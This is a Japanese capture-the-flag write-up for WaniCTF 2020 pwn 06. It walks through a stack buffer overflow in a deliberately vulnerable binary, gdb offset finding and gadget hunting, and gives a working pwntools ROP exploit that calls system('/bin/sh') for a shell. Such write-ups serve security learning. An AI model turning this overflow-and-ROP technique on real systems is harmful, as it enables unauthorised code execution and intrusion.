WaniCTF 2020 pwn 06 rop func call Writeup

~~難しいことはまだわからない。作問者writeupをなぞってるだけだけど失敗した。いつかできるようになる。頑張る。~~ 　できた。
この問題では，Return Oriented Programming (ROP)を勉強できる。

ただし，グローバル変数に

```
char binsh[] = "/bin/sh";
```

があったり，main関数内に

```
system("echo Welcome to rop function call!!!");
```

があるなど，まだまだ訓練専用の「仕込み」がふんだんにあるコードだ。

## 目標

|レジスタ  |値  |
|---|---|
|RDI  |"/bin/sh"のアドレス  |
|RSI  |0x0  |
の状態でretでsystem関数に飛ばす

## スタック設計図

```
| pop rdi ; ret ;    |
+--------------------+
| "/bin/sh"          |
+--------------------+
| pop rsi ; ret ;    |
+--------------------+
| 0x0                |
+--------------------+
| system@plt         |
```

## 攻撃コード

```python:pwn06.py
import pwn

#io = pwn.remote("rop.wanictf.org", 9006)
io = pwn.process("./pwn06")

ret = io.readuntil("What's your name?: ")
print(ret)

addr_binsh = 0x601080
addr_system_plt = 0x4006c0
addr_pop_rdi = 0x400a53
addr_pop_rsi = 0x400a51

# 0x400a51
# pop rsi
# pop r15 <--
# ret

s = b"A" * 22
s += pwn.p64(addr_pop_rdi)
s += pwn.p64(addr_binsh)
s += pwn.p64(addr_pop_rsi)
s += pwn.p64(0)
s += pwn.p64(0)                # <-- "pop r15"
s += pwn.p64(addr_system_plt)

print(s)

io.send(s)
io.interactive()
```

# 問題

nc rop.wanictf.org 9006
x64の関数呼び出しと、Return Oriented Programming (ROP)を理解する必要があります。
x64の関数呼び出しでは第一引数がRDI、第二引数がRSI、第三引数がRDIに設定する必要があります。
pwntoolsを使わないと解くのは大変だと思います
念のためpwntoolsのサンプルプログラム「pwn06_sample.py」を載せておきました。
pwn06 pwn06.c も渡される


```c:pwn06.c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>

char str_head[] = "hello ";
char str_tail[] = "!\n";
char binsh[] = "/bin/sh";

void init();
void debug_stack_dump(unsigned long rsp, unsigned long rbp);

void vuln()
{
    char name[10];
    int ret;

    printf("What's your name?: ");
    ret = read(0, name, 0x100);
    name[ret - 1] = 0;

    write(0, str_head, strlen(str_head));
    write(0, name, strlen(name));
    write(0, str_tail, strlen(str_tail));

    { //for learning stack
        register unsigned long rsp asm("rsp");
        register unsigned long rbp asm("rbp");
        debug_stack_dump(rsp, rbp);
    }
}

int main()
{
    init();
    system("echo Welcome to rop function call!!!");
    while (1)
    {
        vuln();
    }
}

void init()
{
    alarm(30);
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
}

void debug_stack_dump(unsigned long rsp, unsigned long rbp)
{
    unsigned long i;
    puts("\n***start stack dump***");
    i = rsp;
    while (i <= rbp + 32)
    {
        unsigned long *p;
        p = (unsigned long *)i;
        printf("0x%lx: 0x%016lx", i, *p);
        if (i == rsp)
        {
            printf(" <- rsp");
        }
        else if (i == rbp)
        {
            printf(" <- rbp");
        }
        else if (i == rbp + 8)
        {
            printf(" <- return address");
        }
        printf("\n");
        i += 8;
    }
    puts("***end stack dump***\n");
}
```

# 目標
Buffer Over Flow (BOF)を使ってROP (Return Oriented Programming)でsystem("/bin/sh")を呼ぶ

# BOF
gdb で A の数を特定する

```
$ gdb -q ./pwn06
Reading symbols from ./pwn06...(no debugging symbols found)...done.
gdb-peda$ b main
Breakpoint 1 at 0x40089e
gdb-peda$ r
Starting program: /mnt/c/pwn06
Breakpoint 1, 0x000000000040089e in main ()
gdb-peda$ pdisass vuln
（略）
gdb-peda$ b *0x0000000000400826
Breakpoint 2 at 0x400826
gdb-peda$ c
Continuing.
[New process 885]
process 885 is executing new program: /bin/dash
Error in re-setting breakpoint 1: Function "main" not defined.
Warning:
Cannot insert breakpoint 2.
Cannot access memory at address 0x400826
```

あれれ，怒られた。
先生によると　start 直後 set follow-fork-mode parent をする必要があるとのこと。
やり直す

```
$ gdb -q ./pwn06
Reading symbols from ./pwn06...(no debugging symbols found)...done.
gdb-peda$ b main
Breakpoint 1 at 0x40089e
gdb-peda$ r
Starting program: /mnt/c/pwn06
Breakpoint 1, 0x000000000040089e in main ()
```

ここで「forkしても親を追いかけ続ける」と宣言をする

```
gdb-peda$ set follow-fork-mode parent
```

main関数

```
gdb-peda$ pdisass
Dump of assembler code for function main:
   0x000000000040089a <+0>:     push   rbp
   0x000000000040089b <+1>:     mov    rbp,rsp
=> 0x000000000040089e <+4>:     mov    eax,0x0
   0x00000000004008a3 <+9>:     call   0x4008c0 <init>
   0x00000000004008a8 <+14>:    lea    rdi,[rip+0x1e1]        # 0x400a90
   0x00000000004008af <+21>:    call   0x4006c0 <system@plt>
   0x00000000004008b4 <+26>:    mov    eax,0x0
   0x00000000004008b9 <+31>:    call   0x4007e7 <vuln>
   0x00000000004008be <+36>:    jmp    0x4008b4 <main+26>
End of assembler dump.
```

ねらい目は vuln からの戻りアドレス 0x4008be 

vuln関数

```
gdb-peda$ pdisass vuln
Dump of assembler code for function vuln:
=> 0x00000000004007e7 <+0>:     push   rbp
   0x00000000004007e8 <+1>:     mov    rbp,rsp
   0x00000000004007eb <+4>:     sub    rsp,0x10
   0x00000000004007ef <+8>:     lea    rdi,[rip+0x282]        # 0x400a78
   0x00000000004007f6 <+15>:    mov    eax,0x0
   0x00000000004007fb <+20>:    call   0x4006d0 <printf@plt>
   0x0000000000400800 <+25>:    lea    rax,[rbp-0xe]
   0x0000000000400804 <+29>:    mov    edx,0x100
   0x0000000000400809 <+34>:    mov    rsi,rax
   0x000000000040080c <+37>:    mov    edi,0x0
   0x0000000000400811 <+42>:    call   0x4006f0 <read@plt>
   0x0000000000400816 <+47>:    mov    DWORD PTR [rbp-0x4],eax
   0x0000000000400819 <+50>:    mov    eax,DWORD PTR [rbp-0x4]
   0x000000000040081c <+53>:    sub    eax,0x1
   0x000000000040081f <+56>:    cdqe
   0x0000000000400821 <+58>:    mov    BYTE PTR [rbp+rax*1-0xe],0x0
   0x0000000000400826 <+63>:    lea    rdi,[rip+0x200843]        # 0x601070 <str_head>
   0x000000000040082d <+70>:    call   0x4006a0 <strlen@plt>
   0x0000000000400832 <+75>:    mov    rdx,rax
   0x0000000000400835 <+78>:    lea    rsi,[rip+0x200834]        # 0x601070 <str_head>
   0x000000000040083c <+85>:    mov    edi,0x0
   0x0000000000400841 <+90>:    call   0x400690 <write@plt>
   0x0000000000400846 <+95>:    lea    rax,[rbp-0xe]
   0x000000000040084a <+99>:    mov    rdi,rax
   0x000000000040084d <+102>:   call   0x4006a0 <strlen@plt>
   0x0000000000400852 <+107>:   mov    rdx,rax
   0x0000000000400855 <+110>:   lea    rax,[rbp-0xe]
   0x0000000000400859 <+114>:   mov    rsi,rax
   0x000000000040085c <+117>:   mov    edi,0x0
   0x0000000000400861 <+122>:   call   0x400690 <write@plt>
   0x0000000000400866 <+127>:   lea    rdi,[rip+0x20080a]        # 0x601077 <str_tail>
   0x000000000040086d <+134>:   call   0x4006a0 <strlen@plt>
   0x0000000000400872 <+139>:   mov    rdx,rax
   0x0000000000400875 <+142>:   lea    rsi,[rip+0x2007fb]        # 0x601077 <str_tail>
   0x000000000040087c <+149>:   mov    edi,0x0
   0x0000000000400881 <+154>:   call   0x400690 <write@plt>
   0x0000000000400886 <+159>:   mov    rdx,rbp
   0x0000000000400889 <+162>:   mov    rax,rsp
   0x000000000040088c <+165>:   mov    rsi,rdx
   0x000000000040088f <+168>:   mov    rdi,rax
   0x0000000000400892 <+171>:   call   0x40090d <debug_stack_dump>
   0x0000000000400897 <+176>:   nop
   0x0000000000400898 <+177>:   leave
   0x0000000000400899 <+178>:   ret
End of assembler dump.
```

readの後，文字列の末尾に 0x00 を設定した後の 0x0000000000400826 にブレークポイント 

```
gdb-peda$ b *0x0000000000400826
Breakpoint 3 at 0x400826
gdb-peda$ c
Continuing.

Program received signal SIGALRM, Alarm clock.
What's your name?:
```

ここで　AAA を入力
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1163572/cda2d003-6016-abd0-5902-d2a98b5c5893.png)
AAA と 0x4008be がスタックに見えてる
詳細に

```
gdb-peda$ x/10gx 0x7ffffffee280
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1163572/60827e6b-38b2-37dc-c0ac-2949b4bf14b5.png)
蛍光ペンで示したように BOF には A*22 が必要

#ROP
先生によると
RDI = /bin/shのアドレス
RSI = 0
の状態にしてsystem関数のアドレスに飛ばせばシェルを呼び出せる
とのこと。


## ROPに必要なパーツ
文字列"/bin/sh" のアドレス
system@plt のアドレス
pop rdi ; ret ; のアドレス
pop rsi ; ret ; のアドレス

## 文字列"/bin/sh"のアドレス

```
$ gdb -q ./pwn06

gdb-peda$ p &binsh
$3 = (<data variable, no debug info> *) 0x601080 <binsh>
```

0x601080


## system@plt のアドレス

```
$ objdump -d -M intel ./pwn06 | grep system
00000000004006c0 <system@plt>:
  4006c0:       ff 25 7a 09 20 00       jmp    QWORD PTR [rip+0x20097a]        # 601040 <system@GLIBC_2.2.5>
  4008af:       e8 0c fe ff ff          call   4006c0 <system@plt>
```

4006c0 ですね

## pop rdi ; ret ; のアドレス
ROPgadgetというのがインストールできなかった。
よって，Linux x86 Opcode を参照し，pop rdi　の マシン語 が 5f とわかったので検索した。

```
$ objdump -d -M intel ./pwn06 | grep 5f
  4009d1:       0f 86 5f ff ff ff       jbe    400936 <debug_stack_dump+0x29>
  400a52:       41 5f                   pop    r15
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1163572/2c6534b6-847b-2a50-9c02-19e9b5ab4e29.png)
400a53 でいけそう

## pop rsi ; ret ; のアドレス
5e を探せ

```
$ objdump -d -M intel ./pwn06 | grep 5e
  40065e:       c3                      ret
  400705:       5e                      pop    rsi
  400a50:       41 5e                   pop    r14
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1163572/05806525-110b-cf31-716c-ff2742d28df9.png)
ret までワンクッションあり，工夫は必要だが，400a51 でいけそう

## 目標達成に必要なパーツ
文字列"/bin/sh" のアドレス  0x601080
system@plt のアドレス       0x4006c0
pop rdi のアドレス          0x400a53
pop rsi のアドレス          0x400a51

## スタックの予想図
0x400a53     　pop rdi ; ret ; のアドレス
0x601080     　rdiに入れる文字列"/bin/sh" のアドレス
0x400a51     　pop rsi ; pop r15 ; ret ; のアドレス
0x0　　　　rsi に入れる0x0
0x0　　　　pop r15用（意味はないが仕方なく）でも次のretでsystem@plt発動
0x4006c0     　system@pltのアドレス

攻撃してみる

```
$ python -c "from pwn import *; print 'A'*(22)+p64(0x400a53)+p64(0x601080)+p64(0x400a51)+p64(0x0)+p64(0x0)+p64(0x4006c0)" | ./pwn06
Welcome to rop function call!!!
What's your name?:
***start stack dump***
0x7ffff7dc8370: 0x4141414141410000 <- rsp
0x7ffff7dc8378: 0x0000004741414141
0x7ffff7dc8380: 0x4141414141414141 <- rbp
0x7ffff7dc8388: 0x0000000000400a53 <- return address
0x7ffff7dc8390: 0x0000000000601080
0x7ffff7dc8398: 0x0000000000400a51
0x7ffff7dc83a0: 0x0000000000000000
***end stack dump***

Segmentation fault (core dumped)
```

アリ？失敗した。何でだろう？

成功した攻撃コード

```python:pwn06.py
import pwn

#io = pwn.remote("rop.wanictf.org", 9006)
io = pwn.process("./pwn06")

ret = io.readuntil("What's your name?: ")
print(ret)

addr_binsh = 0x601080
addr_system_plt = 0x4006c0
addr_pop_rdi = 0x400a53
addr_pop_rsi = 0x400a51

# 0x400a51
# pop rsi
# pop r15 <--
# ret

s = b"A" * 22
s += pwn.p64(addr_pop_rdi)
s += pwn.p64(addr_binsh)
s += pwn.p64(addr_pop_rsi)
s += pwn.p64(0)
s += pwn.p64(0)                # <-- "pop r15"
s += pwn.p64(addr_system_plt)

print(s)

io.send(s)
io.interactive()
```

実行結果

```
$ python pwn06.py
[+] Starting local process './pwn06': pid 146
Welcome to rop function call!!!
What's your name?:
AAAAAAAAAAAAAAAAAAAAAAS
@\x00\x00\x00\x10\x00\x00\x00
@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00
[*] Switching to interactive mode

***start stack dump***
0x7ffff47af2f0: 0x4141414141410000 <- rsp
0x7ffff47af2f8: 0x0000004641414141
0x7ffff47af300: 0x4141414141414141 <- rbp
0x7ffff47af308: 0x0000000000400a53 <- return address
0x7ffff47af310: 0x0000000000601080
0x7ffff47af318: 0x0000000000400a51
0x7ffff47af320: 0x0000000000000000
***end stack dump***

$ ls
```

　
Linux x86-opcode-map

https://github.com/torvalds/linux/blob/master/arch/x86/lib/x86-opcode-map.txt

　
作問者writeup

https://github.com/wani-hackase/wanictf2020-writeup/tree/master/pwn/06-rop-func-call